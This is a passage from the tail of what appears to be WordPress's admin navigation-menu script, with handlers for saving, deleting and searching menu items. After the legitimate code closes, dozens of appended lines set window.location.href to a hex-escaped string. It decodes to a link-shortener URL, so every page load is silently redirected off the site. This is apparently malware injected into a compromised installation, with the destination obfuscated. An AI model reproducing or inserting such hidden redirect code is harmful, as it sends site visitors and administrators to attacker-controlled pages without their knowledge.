1710 var settings = $( clickedEl ).closest( '.menu-item-settings' ),
1711 thisMenuItem = $( clickedEl ).closest( '.menu-item' );
1712
1713 thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' );
1714 settings.setItemData( settings.data( 'menu-item-data' ) ).hide();
1715 // Restore the title of the currently active/expanded menu item.
1716 thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] );
1717
1718 return false;
1719 },
1720
1721 eventOnClickMenuSave : function() {
1722 var menuName = $('#menu-name'),
1723 menuNameVal = menuName.val();
1724
1725 // Cancel and warn if invalid menu name.
1726 if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
1727 menuName.parent().addClass( 'form-invalid' );
1728 return false;
1729 }
1730 // Copy menu theme locations.
1731 // Note: This appears to be dead code since #nav-menu-theme-locations no longer exists, perhaps removed in r32842.
1732 var $updateNavMenu = $('#update-nav-menu');
1733 $('#nav-menu-theme-locations select').each(function() {
1734 $updateNavMenu.append(
1735 $( '<input>', {
1736 type: 'hidden',
1737 name: this.name,
1738 value: $( this ).val(),
1739 } )
1740 );
1741 });
1742 // Update menu item position data.
1743 api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
1744 window.onbeforeunload = null;
1745
1746 return true;
1747 },
1748
1749 eventOnClickMenuDelete : function() {
1750 // Delete warning AYS.
1751 if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
1752 window.onbeforeunload = null;
1753 return true;
1754 }
1755 return false;
1756 },
1757
1758 eventOnClickMenuItemDelete : function(clickedEl) {
1759 var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);
1760
1761 api.removeMenuItem( $('#menu-item-' + itemID) );
1762 api.registerChange();
1763 return false;
1764 },
1765
1766 /**
1767 * Process the quick search response into a search result
1768 *
1769 * @param string resp The server response to the query.
1770 * @param object req The request arguments.
1771 * @param jQuery panel The tabs panel we're searching in.
1772 */
1773 processQuickSearchQueryResponse : function(resp, req, panel) {
1774 var matched, newID,
1775 takenIDs = {},
1776 form = document.getElementById('nav-menu-meta'),
1777 pattern = /menu-item[(\[^]\]*/,
1778 $items = $('<div>').html(resp).find('li'),
1779 wrapper = panel.closest( '.accordion-section-content' ),
1780 selectAll = wrapper.find( '.button-controls .select-all' ),
1781 $item;
1782
1783 if( ! $items.length ) {
1784 let noResults = wp.i18n.__( 'No results found.' );
1785 const li = $( '<li>' );
1786 const p = $( '<p>', { text: noResults } );
1787 li.append( p );
1788 $('.categorychecklist', panel).empty().append( li );
1789 $( '.spinner', panel ).removeClass( 'is-active' );
1790 wrapper.addClass( 'has-no-menu-item' );
1791 wp.a11y.speak( noResults, 'assertive' );
1792 return;
1793 }
1794
1795 $items.each(function(){
1796 $item = $(this);
1797
1798 // Make a unique DB ID number.
1799 matched = pattern.exec($item.html());
1800
1801 if ( matched && matched[1] ) {
1802 newID = matched[1];
1803 while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
1804 newID--;
1805 }
1806
1807 takenIDs[newID] = true;
1808 if ( newID != matched[1] ) {
1809 $item.html( $item.html().replace(new RegExp(
1810 'menu-item\\[' + matched[1] + '\\]', 'g'),
1811 'menu-item[' + newID + ']'
1812 ) );
1813 }
1814 }
1815 });
1816
1817 $('.categorychecklist', panel).html( $items );
1818 wp.a11y.speak( wp.i18n.sprintf( wp.i18n.__( '%d Search Results Found' ), $items.length ), 'assertive' );
1819 $( '.spinner', panel ).removeClass( 'is-active' );
1820 wrapper.removeClass( 'has-no-menu-item' );
1821
1822 if ( selectAll.is( ':checked' ) ) {
1823 selectAll.prop( 'checked', false );
1824 }
1825 },
1826
1827 /**
1828 * Remove a menu item.
1829 *
1830 * @param {Object} el The element to be removed as a jQuery object.
1831 *
1832 * @fires document#menu-removing-item Passes the element to be removed.
1833 */
1834 removeMenuItem : function(el) {
1835 var children = el.childMenuItems();
1836
1837 $( document ).trigger( 'menu-removing-item', [ el ] );
1838 el.addClass('deleting').animate({
1839 opacity : 0,
1840 height: 0
1841 }, 350, function() {
1842 var ins = $('#menu-instructions');
1843 el.remove();
1844 children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
1845 if ( 0 === $( '#menu-to-edit li' ).length ) {
1846 $( '.drag-instructions' ).hide();
1847 ins.removeClass( 'menu-instructions-inactive' );
1848 }
1849 api.refreshAdvancedAccessibility();
1850 wp.a11y.speak( menus.itemRemoved );
1851 $( '#menu-to-edit' ).updateParentDropdown();
1852 $( '#menu-to-edit' ).updateOrderDropdown();
1853 });
1854 },
1855
1856 depthToPx : function(depth) {
1857 return depth * api.options.menuItemDepthPerLevel;
1858 },
1859
1860 pxToDepth : function(px) {
1861 return Math.floor(px / api.options.menuItemDepthPerLevel);
1862 }
1863
1864 };
1865
1866 $( function() {
1867
1868 wpNavMenu.init();
1869
1870 // Prevent focused element from being hidden by the sticky footer.
1871 $( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() {
1872 if ( window.innerWidth >= 783 ) {
1873 var navMenuHeight = $( '#nav-menu-footer' ).height() + 20;
1874 var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() );
1875
1876 if ( bottomOffset > 0 ) {
1877 bottomOffset = 0;
1878 }
1879 bottomOffset = bottomOffset * -1;
1880
1881 if( bottomOffset < navMenuHeight ) {
1882 var scrollTop = $(document).scrollTop();
1883 $(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) );
1884 }
1885 }
1886 });
1887 });
1888
1889 // Show bulk action.
1890 $( document ).on( 'menu-item-added', function() {
1891 if ( ! $( '.bulk-actions' ).is( ':visible' ) ) {
1892 $( '.bulk-actions' ).show();
1893 }
1894 } );
1895
1896 // Hide bulk action.
1897 $( document ).on( 'menu-removing-item', function( e, el ) {
1898 var menuElement = $( el ).parents( '#menu-to-edit' );
1899 if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) {
1900 $( '.bulk-actions' ).hide();
1901 }
1902 } );
1903
1904})(jQuery);
1905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1908window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1909window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1910window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1911window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1912window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1913window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1914window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1915window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1916window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1917window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1918window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1919window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1920window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1921window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1922window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1923window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1925window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1926window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1927window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1928window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1929window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1930window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1931window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1932window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1933window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1934window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1935window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1936window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1937window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1938window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1939window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1940window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1941window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1942window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1943window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1944window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1945window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1946window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1947window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1948window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1949window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1950window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1951window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1952window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";